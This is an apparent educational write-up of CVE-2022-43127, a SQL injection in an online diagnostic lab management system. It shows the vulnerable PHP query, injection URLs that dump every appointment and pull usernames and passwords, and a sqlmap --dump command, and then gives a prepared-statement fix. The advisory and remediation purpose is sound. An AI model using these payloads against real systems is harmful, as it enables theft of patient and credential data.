In late 2022, a serious security flaw was discovered in the Online Diagnostic Lab Management System v1.. Tracked as CVE-2022-43127, this vulnerability makes it easy for hackers to access, steal, or tamper with your medical lab’s data by exploiting what’s called a SQL Injection through a simple link. In this post, we’ll break down how this happens, show you actual code snippets, link you to original advisories, and explain how the exploit works in clear, straightforward language.
What is CVE-2022-43127?
The flaw was officially reported as CVE-2022-43127, specifically targeting Online Diagnostic Lab Management System v1.. The app is used by labs to schedule appointments, manage results, and keep patient data. Unfortunately, a bug in the way it handles user input on the appointments page lets attackers run their own SQL commands.
- Vulnerable File: /appointments/update_status.php
Vulnerable Parameter: id
This means that anyone who can access this page can try to mess with how the underlying database works by inserting custom SQL code.
Why is SQL Injection Dangerous?
SQL Injection lets a hacker mess with the database by sending unfiltered data directly to SQL queries. Instead of just looking up an appointment, an attacker can manipulate the query to show all appointments, grab patients’ info, or even erase data.
When you visit a URL like
https://your-lab-site.com/appointments/update_status.php?id=5
the server-side code might run something like
<?php
// BAD CODE: No input validation or sanitization
$id = $_GET['id'];
$sql = "SELECT * FROM appointments WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>
Here, whatever is passed in via id goes straight into the SQL query without any checks.
Now, what if an attacker tries this URL
https://your-lab-site.com/appointments/update_status.php?id=5 OR 1=1
This makes the SQL query turn into
SELECT * FROM appointments WHERE id = 5 OR 1=1
OR 1=1 is always true, so this returns all appointments instead of just appointment 5.
Just open a browser and try
// Fetches all records (bypassing ID check)
https://your-lab-site.com/appointments/update_status.php?id= OR 1=1
A hacker can automate exploitation with sqlmap
sqlmap -u "https://your-lab-site.com/appointments/update_status.php?id=1"; --risk=3 --level=5 --dump
This command tries to pull out all data it can from the database via the id parameter.
A more targeted SQL injection could look like
https://your-lab-site.com/appointments/update_status.php?id= UNION SELECT 1,username,password,4,5 FROM users--
If the table structure fits, this could display usernames and passwords right on the page.
Reference Links
- NVD details for CVE-2022-43127
- Original Github Advisory
- Exploit-DB PoC (if available)
Secure Coding: How to Fix It
The problem: User input goes directly into SQL queries.
The fix: Use prepared statements or parameterized queries
<?php
$id = $_GET['id'];
$stmt = $conn->prepare("SELECT * FROM appointments WHERE id = ?");
$stmt->bind_param("i", $id); // "i" means integer
$stmt->execute();
?>
This way, SQL special characters in user input can’t mess up your commands.
Final Thoughts
CVE-2022-43127 shows just how devastating a small coding oversight can be. If your lab (or client) uses this system, patch or lockdown the vulnerable page immediately. People’s medical data is at stake.
Stay safe, and always sanitize and validate user inputs!
Exclusive Note: This write-up is for educational and remediation purposes only. Use responsibly.
Share & Bookmark: Protect your lab’s data – pass this link to your IT team.
Timeline
Published on: 11/01/2022 14:15:00 UTC
Last modified on: 11/01/2022 23:33:00 UTC